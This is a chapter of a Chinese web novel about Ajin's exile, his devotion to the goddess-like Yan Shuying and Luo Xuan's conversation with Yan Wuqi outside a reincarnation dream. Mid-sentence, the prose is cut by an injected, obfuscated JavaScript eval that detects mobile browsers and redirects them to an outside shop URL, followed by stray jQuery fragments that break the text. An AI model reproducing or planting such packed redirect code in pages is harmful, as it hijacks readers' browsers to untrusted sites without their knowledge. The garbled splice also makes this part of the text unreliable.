“你是说,她死了?”阿烬因为做了方才的梦,所有心中有所感应,若是方才的梦是真的,那晏疏影,这个身份,就应该不能再继续存在了,她需要回归自己的神位了。
捕快首领点了点头:“我们真的尽力了,你节哀吧。”
阿烬没有反应,他此刻的脑子是空空白的,失去了晏疏影,他似乎又不懂感情,没有悲伤,没有痛苦,没有欣喜,没有了一切感受情绪的能力。
“她走的时候,有没有留下什么话?”阿烬平静的说着,木讷的看着对方。
“她说,阿烬是个好人,若是能帮他,还请替他减轻刑法,他只是身不由己的一个孩子。”
“就这有这句话吗,没有别的了?他有没有说,取哪里找她?”此刻能安慰到他的就是晏疏影在梦里的话,很快就再见面的话,他只有让自己相信晏疏影是神,才能让自己此刻不难过,否则他就会失去活下去的动力。
但是对面的人显然是不明白他的,他知道阿烬伤心,没想到伤心到自欺欺人的地步。
“她死了,去哪都找不到她了。”他并不希望他活在自欺欺人中,总是要面对现实的。
“不她没死,她只是回归了。”看着阿烬这个样子,捕快首领也生出一丝不忍,“你放心,我会帮你求情的,毕竟你还年轻,若是此次能免于死罪,我相信你一定会向善做人,就算是为了她,你也会好好做人。”
阿烬念叨了一句:“好好做人?”什么时候开始,都相信他这个十恶不赦,被官服通缉多年的恶霸会好好做人了,真是有点好笑有点讽刺。
阿烬大概在狱中住了7天,之后来看过他的,就是铁头,他就是来问他,是否后悔的,可是看见阿烬那一副生无可恋的样子,他觉得也不必与他多言了,他已经不是原先的老大了。
后面来看过阿烬的,就是捕快首领。他在这些天认识阿烬,竟然每天都会过来看阿烬,有时候拿着一瓶酒,有时候带着点饭菜,阿烬则是永远一副事不关己的淡定样子,静静地听着他在面前说着些什么。
第7天,他给阿烬带来好消息,因为皇帝陛下大赦天下,阿烬也在赦免的名单中,所以原本被判斩刑的阿烬,改判了流量西边荒漠。
捕快头领不解,这个消息对其他烦人而言简直是天大的好消息,可他并无任何波动,一丝喜悦都没有。
“你不开心吗?”终于是没有忍住问出口。
“并没有开心。”
“为何?”
“我原以为我死了,就能见到她了此刻我不知何时才能见她。”
“可是她已经去了,活着的人总要好好活着,死了才是真的什么都没了。”
阿烬并听不进他的劝慰,他对自己活不活并不在意,他在意的只是梦中晏疏影对他说的,好好活下去这句话,以及马上就能见面。或许好好活着,这句话,他此刻是能做的到吧。
“她要我好好活着,也行吧,算是答应她的嘱托。”
“我有一事相求,不知大人可愿意帮忙?”
“我能办到的,我会尽力帮你办。”
“我想请你帮我找一本经书,关于西方渡厄元君的经书或者其他什么记载都可以。”
捕快诧异,他这是要看经书修身养性吗?
“这我也不是很懂,我去请教一下师爷,再给你答复。”
说完起身就要走,阿烬叫住他:“等等。”
捕快回身看他,“还有其他事?”
阿烬有点羞愧,欲言又止的样子,他低下头:“我……我不认字,可否请你念给我听。”
捕快听完露出了浅浅的笑意,点头应允:“好的没问题。”
“你看,我终于给你找到了你想要的。”
捕快拿着厚厚的三本书来找阿烬的时候,已经是三日之后。
听到他来了,阿烬的眼神瞬间亮起了光芒,他一直在等他。
“只是啊,你想知道的那位神明,关于他的记载真的太少了。”
“你快与我说说”阿烬的语气由原本平静的冷淡转变为急切想知道。
“她乃是开天辟之初便已经存在的神祇,极其低调,她是世间最慈悲的神,主张任何十恶不赦之人都可以渡化,与那南方荡魔天尊是两个极端的神。南方荡魔天尊只杀不渡,而她是消耗自己的神力也要渡化。”
阿烬听得入神,她竟是如此慈悲的神吗,那为了度化他,也损伤了自己的神力吗。
“有一句话很有意思,有恶子杀亲元君化少女,三七之日,心锁自开。”
阿烬明白了,这一切都是注定的,这个恶子就是自己吧,晏疏影注定要来救赎他,而晏疏影,也只是她众多化身中的一个罢了,原来她真的是高高在上,神圣不染一点污秽的神,自己确实是不该有什么非分之想的,如此也好。
流放之前,阿烬在狱中又被关了半年,这半年,捕快就像是把他当成了知己好友,时不时就来给他念书,渐渐的,阿烬自己也认识了不少字,他能自己在狱中看书了,也算是渐渐走向了他母亲期望的样子。
被流放那天,他请求捕快把这几本关于晏疏影的书留给他,既然她是高高在上的神,那他便做她最虔诚的信徒吧。
他币官差驱赶流放到了荒漠之中,这里荒凉,鲜有人迹,也好,在一个没有人认识他的地方,余烬重生,。
他在这荒无人烟的地方,找到了一个人烟稀少的小镇,这里人们生活在散乱的角落,黄沙漫天,是这广阔无垠的荒漠中的歇脚点。他在这里建了一座晏疏影的庙宇,他一介凡人,什么时候能见到晏疏影,他能想到的,一个就是她的神像可以显灵,他日日在晏疏影的神像前念叨,她总是能听见的吧。第二种,就是等他寿终正寝,自己变成了鬼魂,就能见到她了。
这里日常有不少的商队以及赶路的行人会来此借住,方圆公里没有人烟,离开这里要找很远才会有别的人。
他给行人们提供物资,行人们给晏疏影上香,他坚信,这样做让她承受人间的香火,可以弥补她为了渡化他而损伤的神力。他不知,晏疏影是天生地养的神明,与天同寿,与万物同在,根本不需要香火。
“我先出来了?”洛璇一个神情恍惚,率先从轮回之梦中出来了。
她站在轮回之们前恍惚,方才发生了什么。回忆从脑海中汹涌而来,她在梦中,成为了晏疏影。
她在房间中寻找着崇光的身影,但是房中只有那个面容皎洁又没有表情的晏无期,半躺在他的长椅上,似笑非笑的看着她。
洛璇脑子在飞速转动,她看着轮回之门上的场景,阿烬一个人在那荒漠之中,坚持着他的朝圣之路。
他心中有了一个猜想,她进轮回之门的时候,以为是自己一个人进去,难道,崇光也跟着她进去了,所以阿烬,难道就是崇光?
“是的,那小子一定要跟你进去,我成全了他。”晏无期看穿了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785745|209746||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
洛璇的想法,她没有提问,他便回答了她心中的猜测。
“那他就是阿烬吗?”
“是啊,他在梦中是阿烬。”
“晏无期,他并没有什么要与你交换啊,他把他放进去作甚。”洛璇并不希望崇光一直搅和在她的世界里,至少,她去做危险之事的时候,她并不希望拖累别人。
“这与我何干,这是自愿交易,我如何能不满足他呢?你说呢,我是个商人,有些事情,不应由我去考虑吧,情出自愿,事过无悔。”
在晏无期解释自己的行为的,她想到一个细节,晏无期,晏疏影,都姓晏啊。什么关系呢,姐弟吗?长得也不像啊。
洛璇不再职责,这也没有意义,反正崇光已经在里面了,没办法撤回,不如坐在一旁看看戏,她总有办法让自己不那么在意。
她自顾自的走到晏无期的身旁,在他身边的长踏上半躺下来。
“你是晏疏影的什么人啊?”洛璇的问题让晏无期停顿住了几秒。
洛璇在这一瞬间抓住了晏无期的反应,看来他猜的不错。
“为何这么问?”晏无期的申请变得严肃起来,千百年来,洛璇是第一个这么问的人,也是第一个触动他心底最深处深埋的秘密的人。
梦中的阿烬转眼已经是暮年,这么多年,他都带着马上就能见到晏疏影的期望,一天一天地等,等到他已经不再期望哪一天,她会出现在自己的面前,只能守着自己对她的承诺,一天一天将自己熬死。
洛璇看着阿烬这么多年的等待,她此刻已经从梦中醒来,她也不清楚为什么这么多年,晏疏影都没有兑现她的承诺,因为在离开的时候,她知道自己是真的很快就回去找阿烬的。
“为什么,晏疏影会让阿烬等到死,也不去见他?”洛璇问晏无期,她觉得这个梦境是晏无期编织的,他必然知道为什么。
“你很疑惑是吗?我也很疑惑,不如你自己看下去。”晏无期的双眼中布满了哀伤的神情。
“你也很疑惑?”洛璇低声念叨了一句,晏无期也不知道?洛璇看着一个人被放逐荒漠的阿烬,左眼中竟然不自觉的流出来一颗晶莹剔透的泪珠。
感受到自己的异常,洛璇用手轻轻扶了一下脸颊,眼泪?她居然会流泪了。她诧异的转头看向晏无期,手停滞在半空中,她皱着眉头,对着晏无期求助。
怎么回事,她流泪了,这么多年,她从有记忆开始,从没有流过一滴眼泪,这可如何是好。这个反应让洛璇手足无措。
比她反应更大的,是晏无期,见她的泪水被擦掉挂在手指之上,她原本躺在一边,慵懒的样子瞬间被警觉起来,“别动!”
他一大步跨过去,一把双手抓住洛璇的手:“这么多年,终于有一颗真心了,我就说,我终于等到了。”
洛璇却轻松地一笑带过:“没什么,我只是好奇,你叫晏无期,她叫晏疏影,我还以为你两有什么关系呢,或许是亲人?”
“不要瞎猜,也不要管闲事,对你没好处。”晏无期没有任何情绪的眸子,一片漆黑,他微微低着头。
洛璇见他不吭声了,也没有再多问,目光转向了依旧在运转的轮回之梦上。
梦中的阿烬日复一日的在那荒漠中继续浮沉。洛璇看着阿烬,心中满是心酸,她虽然不是晏疏影,但是她是真真切切地感受到了晏疏影和阿烬经历的一切,晏疏影的情绪她都体验了一遍,晏疏影的感情她比谁都清楚。